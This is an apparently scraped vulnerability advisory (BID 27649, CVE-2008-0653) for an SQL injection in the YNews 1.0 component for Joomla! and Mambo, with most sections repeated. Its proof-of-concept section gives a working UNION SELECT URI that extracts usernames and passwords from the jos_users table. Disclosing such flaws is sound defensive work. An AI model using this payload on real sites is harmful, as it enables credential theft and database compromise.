Joomla! and Mambo YNews Component 'id' Parameter SQL Injection Vulnerability
BID:27649
Info
Joomla! and Mambo YNews Component 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 27649 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0653 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 06 2008 12:00AM |
| Updated: | May 07 2015 05:33PM |
| Credit: | Crackers_Child is credited with the discovery of this vulnerability. |
| Vulnerable: |
Manuel Kaspar YNews 1.0 |
| Not Vulnerable: | |
Discussion
Joomla! and Mambo YNews Component 'id' Parameter SQL Injection Vulnerability
Joomla! and Mambo YNews component is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
This issue affects YNews 1.0.0; other versions may also be affected.
Joomla! and Mambo YNews component is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
This issue affects YNews 1.0.0; other versions may also be affected.
Exploit / POC
Joomla! and Mambo YNews Component 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI is available:
http://www.example.com/index.php?option=com_ynews&Itemid=0&task=showYNews&id=-1/**/union/**/select/**/0,1,2,username,password,5,6%20from%20jos_users/*
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI is available:
http://www.example.com/index.php?option=com_ynews&Itemid=0&task=showYNews&id=-1/**/union/**/select/**/0,1,2,username,password,5,6%20from%20jos_users/*
Solution / Fix
Joomla! and Mambo YNews Component 'id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! and Mambo YNews Component 'id' Parameter SQL Injection Vulnerability
References:
References:
- YNews Component Homepage (Manuel Kaspar)